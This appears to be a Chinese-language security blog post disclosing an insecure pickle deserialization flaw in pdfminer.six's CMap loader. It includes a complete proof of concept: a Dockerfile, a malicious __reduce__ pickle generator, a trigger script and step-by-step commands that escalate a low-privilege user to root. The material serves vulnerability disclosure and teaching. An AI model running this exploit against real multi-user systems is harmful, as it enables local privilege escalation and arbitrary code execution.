pdfminer.six不安全反序列化漏洞分析:本地权限提升详解

本文详细分析了pdfminer.six库中CMap加载器的不安全反序列化漏洞,攻击者可通过恶意pickle文件实现本地权限提升,从低权限用户获取root权限,包含完整的技术细节和演示步骤。

pdfminer.six CMap加载器中的不安全反序列化漏洞分析

漏洞概述

本报告展示了pdfminer.six中由于不安全使用Python pickle模块进行CMap文件加载而导致的真实权限提升漏洞。该漏洞表明在多用户或服务器环境中,低权限用户可通过利用不安全反序列化获得root访问权限(或提升至任何服务账户)。

背景介绍

pdfminer.six是一个流行的Python库,用于从PDF文件中提取文本和信息。它通过外部CMap文件支持CJK(中文、日文、韩文)字体,这些文件使用Python的pickle模块从磁盘加载。

安全问题:如果CMap搜索路径(CMAP_PATH或默认目录)包含全局可写或用户可写的目录,攻击者可以放置恶意的.pickle.gz文件,该文件将被pdfminer.six加载并反序列化,从而导致任意代码执行。

漏洞描述

受影响组件:pdfminer.six CMap加载(pdfminer/cmapdb.py)

问题:使用Python的pickle模块加载和反序列化.pickle.gz文件,这对于不受信任的数据是不安全的。

可利用性:如果低权限用户可以写入CMAP_PATH中的任何目录,他们可以以运行pdfminer的用户身份执行代码——可能是root或特权服务。

影响:作为服务用户的完整代码执行、从用户到root的权限提升、持久化以及潜在的横向移动。

演示场景

环境配置

  • Alpine Linux(Docker容器)
  • 两个用户:
    • user1(攻击者:低权限)
    • root(受害者:运行特权PDF处理脚本)
  • 共享可写目录:/tmp/uploads
  • CMAP_PATH设置为/tmp/uploads用于特权脚本
  • 系统范围内安装pdfminer.six

攻击流程

  1. user1在/tmp/uploads中创建恶意CMap文件(Evil.pickle.gz)
  2. 特权服务(root)处理PDF或调用get_cmap(“Evil”)
  3. 恶意pickle被反序列化,以root身份运行任意代码
  4. 漏洞利用在/root/pwnedByPdfminer中创建标志文件作为证明

技术细节

漏洞类型:使用Python pickle对不受信任数据进行不安全反序列化

攻击前提条件:攻击者可以写入CMAP_PATH中包含的目录

易受攻击的代码行

1
return type(str(name), (), pickle.loads(gzfile.read()))

位于pdfminer/cmapdb.py的_load_data方法中

漏洞利用链

  1. 攻击者将恶意.pickle.gz文件放置在CMap搜索路径中
  2. 特权进程(如root)加载CMap,触发pickle反序列化
  3. 任意代码以进程(root/服务账户)权限执行

设置和使用

📁 文件

Dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
FROM python:3.11-alpine

# 安装所需软件包并创建用户
RUN adduser -D user1 && mkdir -p /tmp/uploads && chown user1:user1 /tmp/uploads

WORKDIR /app

# 安装pdfminer.six
RUN pip install --no-cache-dir pdfminer.six

# 复制应用文件
COPY evilmod.py /app/evilmod.py
COPY createEvilPickle.py /app/createEvilPickle.py
COPY processPDF.py /app/processPDF.py

# 为演示设置权限
RUN chmod 777 /tmp/uploads

# 默认:进入shell以获取演示说明
CMD ["/bin/sh"]

evilmod.py

1
2
3
4
5
6
import os

def evilFunc():
    with open("/root/pwnedByPdfminer", "w") as f:
        f.write("ROOTED by pdfminer pickle RCE\n")
    return {"CODE2CID": {}, "IS_VERTICAL": False}

createEvilPickle.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle
import gzip
from evilmod import evilFunc

class Evil:
    def __reduce__(self):
        return (evilFunc, ())

payload = pickle.dumps(Evil())
with gzip.open("/tmp/uploads/Evil.pickle.gz", "wb") as f:
    f.write(payload)

print("Malicious pickle created at /tmp/uploads/Evil.pickle.gz")

processPDF.py

1
2
3
4
5
6
7
8
import os
from pdfminer.cmapdb import CMapDB

os.environ["CMAP_PATH"] = "/tmp/uploads"

CMapDB.get_cmap("Evil")

print("CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.")

构建和启动演示容器

1
2
docker build -t pdfminer-priv-esc-demo .
docker run --rm -it --name pdfminer-demo pdfminer-priv-esc-demo

在容器中,并行打开两个shell(或在一个shell中切换用户):

Shell 1(攻击者:user1)

1
2
3
4
su user1
cd /app
python createEvilPickle.py
# 确认:/tmp/uploads/Evil.pickle.gz已创建并由user1拥有

Shell 2(受害者:root)

1
2
3
cd /app
python processPdf.py
# 输出:如果易受攻击,将创建/root/pwnedByPdfminer

权限提升证明

1
2
cat /root/pwnedByPdfminer
# 🏴 输出:ROOTED by pdfminer pickle RCE

分步演练

  1. user1使用createEvilPickle.py制作恶意CMap pickle并放置在共享上传目录中
  2. root用户运行典型的PDF处理脚本,该脚本从该目录加载CMap文件
  3. 漏洞利用触发,以root身份运行任意代码
  4. 攻击者现在拥有以root身份执行代码的证明(在真实攻击中,可以进一步升级)

安全标准和参考

OWASP Top 10

  • A08:2021 - 软件和数据完整性故障
  • A03:2021 - 注入(通过类比,因为它是通过反序列化的代码注入)

MITRE ATT&CK技术

  • T1055:进程注入
  • T1548:滥用提升控制机制

参考

  • GHSA-f83h-ghpp-7wcc
  • pdfminer/pdfminer.six@b808ee0

漏洞严重性

严重等级:高

CVSS评分:7.8/10

CVSS v3基础指标

  • 攻击向量:本地
  • 攻击复杂度:低
  • 所需权限:低
  • 用户交互:无
  • 范围:未改变
  • 机密性:高
  • 完整性:高
  • 可用性:高

弱点

  • CWE-502:不可信数据的反序列化
  • CWE-915:动态确定对象属性的不当控制修改
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计